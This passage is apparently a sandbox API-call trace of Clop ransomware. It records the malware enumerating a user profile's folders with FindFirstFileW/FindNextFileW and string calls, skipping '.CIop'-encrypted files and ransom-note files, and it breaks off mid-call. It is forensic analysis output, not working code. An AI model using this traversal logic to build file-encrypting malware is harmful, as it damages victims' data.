returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0138.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0138.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.491] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0138.491] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.491] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.491] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.491] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.491] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.491] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.491] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.491] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.491] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.491] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.491] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0138.491] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0138.491] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0138.491] SetErrorMode (uMode=0x1) returned 0x1 [0138.491] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0138.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0138.491] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0138.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0138.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.491] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0138.491] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0138.492] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0138.492] lstrlenW (lpString=".CIop") returned 5 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.492] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.492] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.492] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.492] lstrlenW (lpString="desktop.ini") returned 11 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.492] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.492] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.492] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0138.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0138.492] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.492] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0138.492] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.492] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0138.492] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0138.492] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0138.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0138.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0138.492] SetErrorMode (uMode=0x1) returned 0x1 [0138.492] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0138.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0138.493] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0138.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0138.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.493] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0138.493] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.493] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.493] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.493] lstrlenW (lpString="desktop.ini") returned 11 [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.493] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.493] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.493] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0138.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0138.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.493] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0138.493] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.493] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.493] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.493] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.493] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.494] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.494] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.494] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.494] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.494] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0138.494] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0138.494] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0138.494] SetErrorMode (uMode=0x1) returned 0x1 [0138.494] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0138.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0138.494] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0138.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0138.494] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.494] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0138.494] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.494] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.494] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.494] lstrlenW (lpString="desktop.ini") returned 11 [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.494] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0138.494] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0138.494] lstrlenW (lpString=".LNK") returned 4 [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.494] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0138.494] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0138.494] lstrlenW (lpString=".LNK") returned 4 [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.494] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0138.494] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0138.494] lstrlenW (lpString=".LNK") returned 4 [0138.494] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.495] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.495] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.495] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0138.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0138.495] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.495] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0138.495] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.495] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.495] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.495] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.495] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.495] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.495] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0138.495] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0138.495] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0138.495] SetErrorMode (uMode=0x1) returned 0x1 [0138.495] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0138.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0138.495] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0138.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0138.495] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.496] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0138.496] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0138.496] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.496] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0138.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0138.496] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.496] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0138.496] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0138.496] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.496] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.496] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0138.496] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0138.496] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0138.496] SetErrorMode (uMode=0x1) returned 0x1 [0138.496] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0138.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0138.496] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0138.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0138.496] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.496] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0138.496] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.496] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.496] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.496] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0138.496] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0138.496] lstrlenW (lpString=".CIop") returned 5 [0138.496] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.496] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.496] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.496] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.496] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.496] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.496] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.496] lstrlenW (lpString="desktop.ini") returned 11 [0138.496] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.496] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.497] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0138.497] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0138.497] lstrlenW (lpString=".CIop") returned 5 [0138.497] FindNextFileW 